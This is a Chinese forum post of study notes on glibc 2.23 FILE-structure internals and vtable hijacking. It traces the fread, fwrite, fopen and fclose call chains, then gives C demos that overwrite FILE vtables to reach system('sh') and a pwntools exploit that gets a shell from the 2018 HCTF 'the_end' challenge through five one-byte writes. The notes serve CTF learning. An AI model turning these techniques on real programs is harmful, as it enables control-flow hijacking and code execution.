找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2903

积分

1

好友

403

主题
发表于 14 小时前 | 查看: 1| 回复: 0

最近在系统性地学习二进制安全中的IO_FILE利用技术,为了加深理解,我一边看资料一边动手调试。这篇文章主要记录了我的学习过程,大部分知识脉络和背景都梳理自CTF Wiki,并结合了具体的实践与源码分析。

0x01 为libc文件添加符号表

为了方便后续在特定版本的glibc环境下进行调试,我首先搭建了基于libc 2.23的环境。

下载目标程序以及带有调试符号和无调试符号的libc库:

wget https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/refs/heads/master/pwn/linux/user-mode/io-file/2018_hctf_the_end/the_end
wget http://launchpadlibrarian.net/353523709/libc6-dbg_2.23-0ubuntu10_amd64.deb
dpkg -x libc6-dbg_2.23-0ubuntu10_amd64.deb libc6-dbg_2.23-0ubuntu10_amd64
wget https://launchpadlibrarian.net/353523729/libc6_2.23-0ubuntu10_amd64.deb
dpkg -x libc6_2.23-0ubuntu10_amd64.deb libc6_2.23-0ubuntu10_amd64

使用ls命令查看已下载的libc文件

这里的the_end程序就是2018年HCTF比赛the_end题目的源代码编译后的可执行文件。接下来,我们使用patchelf修改程序的解释器和链接库路径,使其加载我们指定的libc 2.23版本。

patchelf --set-interpreter ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/ld-2.23.so ./the_end
patchelf --replace-needed libc.so.6 ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so ./the_end

使用ldd命令验证the_end程序的动态链接库依赖

现在,查看原始libc文件的调试链接信息:

readelf -x .gnu_debuglink ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so

使用readelf查看libc文件的.gnu_debuglink节内容

然后,我们将其链接更改为有调试符号的版本:

objcopy -R .gnu_debuglink ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so
cp libc6-dbg_2.23-0ubuntu10_amd64/usr/lib/debug/lib/x86_64-linux-gnu/libc-2.23.so ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc2.23
objcopy --add-gnu-debuglink=./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc2.23 ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so

为libc文件添加新的调试符号链接

对比修改前后的效果非常明显。修改前,在调试器中打印_IO_list_all变量会提示类型未知:

修改前,打印_IO_list_all提示类型未知

修改之后,调试器可以正确识别其类型和值:

修改后,成功打印出_IO_list_all的地址和类型

0x02 FILE结构体剖析

在Linux系统的标准I/O库中,FILE是一个用于描述文件的结构体,通常被称为文件流。当程序执行fopen等函数时会动态创建FILE结构体,并分配在堆内存中。我们通常用一个指向FILE结构的指针来接收返回值。

FILE结构体的定义位于libio.h中,结构如下:

struct _IO_FILE {
    int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

    /* The following pointers correspond to the C++ streambuf protocol. */
    /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
    char* _IO_read_ptr;   /* Current read pointer */
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */

    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */

    struct _IO_marker *_markers;

    struct _IO_FILE *_chain;

    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
    /* 1+column number of pbase(); 0 is unknown. */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];

    /*  char* _save_gptr;  char* _save_egptr; */

    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
    struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
    _IO_off64_t _offset;
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    /* Wide character stream stuff.  */
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
#else
    void *__pad1;
    void *__pad2;
    void *__pad3;
    void *__pad4;
#endif
    size_t __pad5;
    int _mode;
    /* Make sure we don‘t get into trouble again.  */
    char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

一个关键点是,进程中的所有FILE结构体会通过 _chain 域相互连接,形成一个单向链表。这个链表的头部由全局变量 _IO_list_all 指向,通过它我们可以遍历所有的FILE结构。

在标准I/O库初始化时,每个程序都会自动打开三个文件流:stdin(标准输入)、stdout(标准输出)和stderr(标准错误)。因此,初始状态下,_IO_list_all 指向一个由这三个文件流构成的链表。但要注意,这三个文件流本身位于libc.so的数据段中,而我们用fopen创建的文件流则分配在堆内存上。

我们可以在libc.so中找到stdinstdoutstderr等符号,它们是指向FILE结构体的指针。而结构体本身的符号是:

_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

通过调试命令 p _IO_list_all,可以看到它确实指向 _IO_2_1_stderr_,并且其地址位于libc.so的映射区间内。这里注意,结构体的实际类型是 _IO_FILE_plus,稍后会详细说明。

打印_IO_list_all,指向_IO_2_1_stderr_

接着查看 _IO_2_1_stderr_ 的结构,可以看到其 _chain 域指向了 _IO_2_1_stdout_

打印_IO_2_1_stderr_结构,关注_chain字段

再查看 _IO_2_1_stdout_ 的结构,其 _chain 域又指向了 _IO_2_1_stdin_

打印_IO_2_1_stdout_结构,关注_chain字段

最后查看 _IO_2_1_stdin_ 的结构,其 _chain 域为 0x0,表示链表在此终止。

打印_IO_2_1_stdin_结构,_chain字段为NULL

从以上调试信息可以清晰地看出链表关系:_IO_list_all --> _IO_2_1_stderr_ --> _IO_2_1_stdout_ --> _IO_2_1_stdin_。在初始状态下,链表中只有这三个文件流。

然而,实际上 _IO_FILE 结构体外部还包裹着另一种结构体 _IO_FILE_plus,它包含了一个至关重要的指针 vtable,指向一个函数跳转表。对逆向工程和二进制漏洞利用感兴趣的读者,可以在云栈社区找到更多深入探讨。

在libc 2.23版本下,32位系统中vtable的偏移为0x94,64位系统中偏移为0xd8

struct _IO_FILE_plus
{
    _IO_FILE    file;
    _IO_jump_t   *vtable;
}

展示_IO_FILE_plus结构的内存布局,包含file和vtable

从上面的调试截图可以看到,_IO_2_1_stderr__IO_2_1_stdout__IO_2_1_stdin_都是这种结构,并且它们的vtable指针指向同一个地址。通过计算_IO_2_1_stdin_结构体中vtable指针的偏移,也能验证在64位下确实是0xd8

计算_IO_2_1_stdin_结构体中vtable指针的偏移

vtable结构详解

vtable 是一个 _IO_jump_t 类型的指针,_IO_jump_t 结构体内保存了一系列函数指针。后续我们会看到,许多标准I/O函数在内部会调用这些函数指针。

void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn  #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn,  // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

使用命令 p *(struct _IO_jump_t *)0x7ffff7dd06e0 可以查看实际的vtable结构。可以看到其中包含了许多以 __GI_ 为前缀的符号,这通常是glibc内部用于绑定到实际实现函数的别名,其真正的函数名是去掉__GI_的部分。

打印vtable结构,显示其中各个函数指针的值

为了便于后续分析fread等函数的源码,我们先下载glibc 2.23的源代码。

wget https://ftp.gnu.org/gnu/glibc/glibc-2.23.tar.xz

使用wget下载glibc 2.23源码包

解压源码包:

tar -xvf glibc-2.23.tar.xz

解压后目录下的文件列表

fread函数调用链分析

fread 是标准I/O库函数,用于从文件流中读取数据。

size_t fread ( void *buffer, size_t size, size_t count, FILE *stream );

其函数调用栈最终会深入到vtable。查看源码 glibc-2.23/libio/iofread.c,函数名为 _IO_fread。可以看到,该函数内部调用了 _IO_sgetn

_IO_fread函数源码,关键调用_IO_sgetn

_IO_size_t
_IO_fread (buf, size, count, fp)
     void *buf;
     _IO_size_t size;
     _IO_size_t count;
     _IO_FILE *fp;
{
  ...
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  ...
}

_IO_sgetn 函数定义在 libio/genops.c 文件中。通过 grep -C 3 "_IO_sgetn" glibc-2.23/libio/genops.c 查看,可以发现它直接返回 _IO_XSGETN 的调用结果。

_IO_sgetn函数源码,直接返回_IO_XSGETN

_IO_size_t
_IO_sgetn (fp, data, n)
     _IO_FILE *fp;
     void *data;
     _IO_size_t n;
{
  return _IO_XSGETN (fp, data, n);
}

_IO_XSGETN 是一个在glibc的I/O系统内部用于实现多态调用的宏。通过 grep -C 3 "_IO_XSGETN" glibc-2.23/libio/libioP.h 查看其定义:

_IO_XSGETN宏的定义

#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)

这里的 JUMP2 是另一个宏,负责最终的函数跳转。它的作用很简单:根据传入的FILE结构体找到其对应的虚函数表,然后从表中取出 __xsgetn 函数指针并调用它

也就是说,fread 函数调用链的末端,是通过vtable调用了 __xsgetn 这个函数指针。在我们调试的环境中,这个指针指向 __GI__IO_file_xsgetn(即 _IO_file_xsgetn 的内部别名)。

vtable中__xsgetn函数指针的值

查看 _IO_file_xsgetn 函数的源码(grep -A 60 "_IO_file_xsgetn" glibc-2.23/libio/fileops.c),会发现其内部还调用了vtable中的 __underflow 指针。

_IO_file_xsgetn函数源码片段,调用__underflow

最终,这条调用链会深入到系统调用 read。我们可以简要总结 fread 的调用路径:

fread --> _IO_sgetn --> _IO_XSGETN --> __xsgetn (vtable[8]) --> _IO_file_xsgetn --> __underflow (vtable[4]) --> _IO_new_file_underflow --> _IO_SYSREAD (系统调用 read)

fwrite函数调用链分析

fwrite 函数用于向文件流写入数据。

size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);

其内部调用链与 fread 类似。查看 glibc-2.23/libio/iofwrite.c,函数 _IO_fwrite 内部调用了 _IO_sputn

_IO_fwrite函数源码,关键调用_IO_sputn

written = _IO_sputn (fp, (const char *) buf, request);

_IO_sputn 本身是一个宏,定义在 libio/libioP.h 中,其核心作用也是路由到vtable中的 __xsputn 函数指针。

#define _IO_sputn(__fp__, __s__, __n__) _IO_XSPUTN (__fp__, __s__, __n__)

查找_IO_sputn宏的定义

类似地,_IO_XSPUTN 也是一个宏:

#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)

查找_IO_XSPUTN宏的定义

在我们的环境中,vtable中的 __xsputn 指向 _IO_new_file_xsputn

vtable中__xsputn函数指针的值

查看 _IO_new_file_xsputn 的源码,可以发现其内部调用了 _IO_OVERFLOW 函数。

_IO_new_file_xsputn函数源码片段,调用_IO_OVERFLOW

/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)

_IO_OVERFLOW 同样是一个宏,会跳转到vtable中的 __overflow 指针。

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

查找_IO_OVERFLOW宏的定义

这个指针指向 _IO_new_file_overflow 函数。

vtable中__overflow函数指针的值

_IO_new_file_overflow 函数中,最终会调用 _IO_do_write,进而执行系统调用 write

_IO_new_file_overflow函数源码片段,调用_IO_do_write

总结 fwrite 的调用路径:

fwrite --> _IO_sputn --> _IO_XSPUTN --> __xsputn (vtable[7]) --> _IO_new_file_xsputn --> _IO_OVERFLOW --> __overflow (vtable[3]) --> _IO_new_file_overflow --> _IO_do_write --> _IO_new_do_write --> new_do_write --> _IO_SYSWRITE (系统调用 write)

fopen函数分析

fopen 函数用于打开文件,其内部会创建并初始化 FILE 结构体。

FILE *fopen(char *filename, *type);

查看源码 glibc-2.23/libio/iofopen.c,函数 _IO_new_fopen 直接调用 __fopen_internal

__fopen_internal函数源码,包含malloc和初始化

首先,在 __fopen_internal 内部会调用 malloc 分配 FILE 结构体的空间。这印证了我们之前的说法:通过 fopen 创建的 FILE 结构位于堆上。

*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));

接着,它会为创建的 FILE 初始化vtable,并调用 _IO_file_init 进行进一步的初始化。

_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);

_IO_file_init 函数中,会调用 _IO_link_in,将新分配的 FILE 结构链入以 _IO_list_all 为起点的链表中。这是理解后续利用技术的关键点。

_IO_new_file_init函数源码,调用_IO_link_in

查看 _IO_link_in 的源码,可以清晰地看到链表操作:fp->file._chain = (_IO_FILE *) _IO_list_all; _IO_list_all = fp;

_IO_link_in函数源码,展示链表插入操作

之后,__fopen_internal 会调用 _IO_file_fopen 打开目标文件,最终调用到系统接口 open

总结 fopen 的关键操作:

  1. 使用 malloc 在堆上分配 FILE 结构。
  2. 设置该结构的 vtable
  3. 初始化该结构,并将其链入全局链表 _IO_list_all
  4. 调用系统调用打开文件。

调用路径简化为:fopen --> _IO_new_fopen --> __fopen_internal --> _IO_file_fopen --> ... --> open

fclose函数分析

fclose 用于关闭已打开的文件流。

int fclose(FILE *stream);

其对应的内部函数是 _IO_new_fclose。它的主要操作与 fopen 相反:

  1. 调用 _IO_un_link 将指定的 FILE_chain 链表中脱链。
  2. 调用 _IO_file_close_it 关闭文件描述符(内部调用 close 系统调用)。
  3. 调用vtable中的 _IO_FINISH 指针(对应 _IO_file_finish),该函数内部会调用 free 释放之前分配的 FILE 结构体。

_IO_new_fclose函数源码片段,展示脱链和清理操作

printf/puts函数简析

printfputs 是常用的输出函数。当 printf 的参数是纯字符串并以 \n 结尾时,编译器可能会将其优化为 puts 调用。

puts 的内部实现 _IO_puts,其操作流程与 fwrite 大致相同,最终也会通过 _IO_sputn 调用到 _IO_new_file_xsputn,进而执行 write 系统调用。

0x03 伪造vtable劫持程序流程

通过前面的分析,我们了解到Linux中许多常见的I/O操作函数都经由 FILE 结构体处理,而 _IO_FILE_plus 结构中的 vtable 是函数调用的关键枢纽。

因此,伪造vtable劫持程序流程的核心思想,就是针对 _IO_FILE_plusvtable 指针做文章。主要有两种方式:

  1. 直接修改vtable中的函数指针:如果存在任意地址写漏洞,可以直接修改vtable表项中的地址。
  2. 覆盖vtable指针本身:将vtable指针指向我们控制的内存区域,并在其中布置好我们想要的函数指针。

利用实践与思考

要进行利用,首先需要知道目标 _IO_FILE_plus 结构体的位置。对于 fopen 创建的文件流,它在堆上;对于 stdinstdoutstderr,它们位于 libc.so 的数据段中。

一个简单的示例思路如下(假设存在任意地址写漏洞):

int main(void){
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     // 获取vtable地址,64位偏移0xd8
    vtable_ptr[7]=0x41414141; // 修改vtable中第8项(xsputn)的指针
    printf("call 0x41414141"); // printf会调用xsputn,从而跳转到0x41414141
}

需要搞清楚目标I/O函数会调用vtable中的哪个函数。例如,printf 会调用 xsputn(vtable中的第8项,索引为7)。当这些vtable函数被调用时,传入的第一个参数就是对应的 _IO_FILE_plus 结构体的地址。我们可以利用这一点来传递参数。

例如,我们可以先将 FILE 结构体的开头部分写入字符串 "sh",然后劫持 xsputn 指针为 system 函数的地址。这样当调用 fwriteprintf 时,就会执行 system(“sh”)

#define system_ptr 0x7ffff7a52390;
int main(void){
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);
    memcpy(fp, "sh", 3); // 将“sh”写入FILE结构体头部,作为system的参数
    vtable_ptr[7]=system_ptr; // 劫持xsputn
    fwrite("hi", 2, 1, fp); // 触发调用
}

然而,在libc 2.23及以后的版本中,位于libc数据段中的默认vtable(如 _IO_file_jumps)通常是只读的,无法直接写入。

使用vmmap查看内存权限,libc的只读数据段不可写

因此,更可行的方案是在可控内存中伪造整个vtable,然后修改 _IO_FILE_plusvtable 指针指向我们伪造的表。

#define system_ptr 0x7ffff7a52390;
int main(void){
    FILE *fp;
    long long *vtable_addr, *fake_vtable;
    fp=fopen("123.txt","rw");
    fake_vtable=malloc(0x40); // 在堆上伪造vtable
    vtable_addr=(long long *)((long long)fp+0xd8);
    vtable_addr[0]=(long long)fake_vtable; // 修改FILE的vtable指针指向伪造表
    memcpy(fp, "sh", 3);
    fake_vtable[7]=system_ptr; // 在伪造的vtable中设置xsputn指针
    fwrite("hi", 2, 1, fp); // 触发调用
}

如果程序中没有使用 fopen,我们也可以选择劫持 stdinstdoutstderr 这些位于libc中的流,它们在 printfscanf 等函数中会被用到。在libc 2.23之前,对这些流的vtable写入的限制相对较少。

2018 HCTF the_end 题目实战

理论需要结合实践。我们以2018年HCTF的 the_end 题目为例,尝试应用上面的知识。首先检查一下程序的安全属性:

使用checksec检查the_end程序的安全机制

程序开启了Full RELRO(意味着GOT表不可写)、NX和PIE。题目源码的核心部分如下:

void __fastcall __noreturn main(int a1, char **a2, char **a3) {
    int i; // [rsp+4h] [rbp-Ch]
    void *buf; // [rsp+8h] [rbp-8h] BYREF
    sleep(0);
    printf("here is a gift %p, good luck ;)\n", &sleep);
    fflush(_bss_start);
    close(1);
    close(2);
    for ( i = 0; i <= 4; ++i ) {
        read(0, &buf, 8uLL);
        read(0, buf, 1uLL);
    }
    exit(1337);
}

程序一开始就输出了 sleep 函数的地址,这让我们可以计算出libc的基址。随后关闭了标准输出和标准错误文件描述符。最关键的是一个可以执行5次的循环:每次循环允许我们输入一个8字节的地址(&buf)和一个1字节的数据(*buf)。这相当于一个 5次任意地址写1字节 的漏洞,非常有限。

那么如何利用呢?这里利用了一个关键点:程序在退出时会调用 exit 函数,而 exit 函数会遍历 _IO_list_all 链表,并调用其中的一些清理函数。

我们的目标是劫持这个流程。经过分析,在 exit 的清理过程中,会调用 _IO_2_1_stdout_ 对应vtable中的 _setbuf 函数(vtable中的第12项,偏移为 0x58)。

因此,利用思路可以规划为:

  1. 伪造vtable:利用5字节写入的漏洞,修改 _IO_2_1_stdout_ 的vtable指针的低2字节,使其指向一个我们可控的、且在vtable附近的内存地址(例如 vtable_addr - 0x40),从而伪造一个假的vtable。
  2. 劫持函数指针:在这个伪造的vtable中,将其 _setbuf 项(fake_vtable + 0x58)的内容,修改为 one_gadget 的地址。由于我们只有3字节的写入能力,需要选择 one_gadget 地址中低位变化的3个字节进行覆盖。

现在开始具体计算。首先需要知道 _IO_2_1_stdout_ 在libc中的偏移。

nm -D libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so | grep -C 10 _IO_2_1_stdout

查找_IO_2_1_stdout_在libc中的偏移

得到偏移为 0x3c5620。已知vtable在 _IO_FILE_plus 结构中的偏移是 0xd8,所以vtable指针的地址偏移为 0x3c5620 + 0xd8 = 0x3c56f8

我们需要在vtable指针地址附近,找到一个合适的地址作为伪造的vtable。这个地址需要满足:fake_vtable_addr + 0x58 处的内容是一个可写的libc地址,这样我们才能用1字节写入将其改为 one_gadget 的部分字节。

查看vtable地址附近的内存:

查看vtable地址附近的内存布局

例如,我们可以选择 0x7ffff7dd26b8 作为 fake_vtable。那么 fake_vtable + 0x58 的地址就是 0x7ffff7dd2710。通过调试查看这个地址当前的内容,并计算其与libc基址的偏移。

计算fake_vtable + 0x58地址处的偏移

接下来寻找 one_gadget。使用工具分析libc文件:

one_gadget ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so

使用one_gadget工具查找可用的gadget

我们选取其中一个,例如 0xf02a4(实际使用中可能需要尝试多个)。现在计算目标地址 target_addr(即 fake_vtable + 0x58)相对于libc基址的偏移。

计算vtable、fake_vtable及目标地址的偏移

基于以上分析,我们可以编写利用脚本。脚本的主要逻辑是:

  1. 接收泄露的 sleep 地址,计算libc基址和各种目标地址。
  2. 前两次循环:修改 _IO_2_1_stdout_ 的vtable指针的低2字节,使其指向 fake_vtable
  3. 后三次循环:向 target_addr(即 fake_vtable + 0x58)写入 one_gadget 地址的低3字节。
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")
io=process("./the_end")
libc = ELF("./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so")

io.recvuntil(b"here is a gift ")
sleep_addr = int(io.recvuntil(b',',drop=True),16)
log.info(f"sleep --> {hex(sleep_addr)}")
io.recv()

base = sleep_addr - libc.symbols["sleep"]
vtable = base + 0x3c56f8
onegadget = base + 0xf02b0  # 注意:需要尝试不同的one_gadget
fake_vtable = vtable - 0x40
target_addr = fake_vtable + 0x58

log.info(f"vtable address: {hex(vtable)}")
log.info(f"onegadget address: {hex(onegadget)}")
log.info(f"fake_vtable address: {hex(fake_vtable)}")
log.info(f"target_addr address: {hex(target_addr)}")

# 调试用
# gdb.attach(io,'b *$rebase(0x955)')
# pause()

# 修改 vtable 指针的低2字节,指向 fake_vtable
for i in range(2):
    io.send(p64(vtable+i))
    io.send(p8(p64(fake_vtable)[i]))

# 修改 fake_vtable[_setbuf] 为 onegadget (写低3字节)
for i in range(3):
    io.send(p64(target_addr+i))
    io.send(p8(p64(onegadget)[i]))

io.interactive()

在调试过程中,可以观察到内存已被成功修改:

调试显示内存中的目标地址已被修改为one_gadget

并且程序在执行 exit 后,也确实跳转到了我们的 one_gadget 地址:

程序跳转到one_gadget处执行

然而,在实际利用中,one_gadget 的成功执行往往依赖于特定的寄存器或栈状态。在本地的调试环境中,可能因为约束条件不满足而导致利用失败(提示 Got EOF)。这就需要我们不断尝试不同的 one_gadget,或者通过其他方式调整运行时环境以满足条件。这也是CTF比赛中此类题目的常见难点。

总结与延伸
本次学习从C/C++的文件流基础结构开始,深入分析了glibc中标准I/O函数的实现与vtable调用机制,并探讨了通过伪造vtable劫持程序控制流的原理。最后通过一道CTF题目进行了实战演练。理解这些底层机制,对于深入计算机基础和二进制安全领域至关重要。希望这篇笔记也能对你有所帮助。如果想深入探讨Linux内核或系统编程的更多细节,欢迎在云栈社区交流。

参考链接:




上一篇:Prompt、MCP、Agent、Skill、Cowork:5分钟看懂AI协作核心概念
下一篇:警惕!两款下载量超150万的VS Code AI扩展被曝暗中窃取源代码
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-28 18:11 , Processed in 0.379677 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表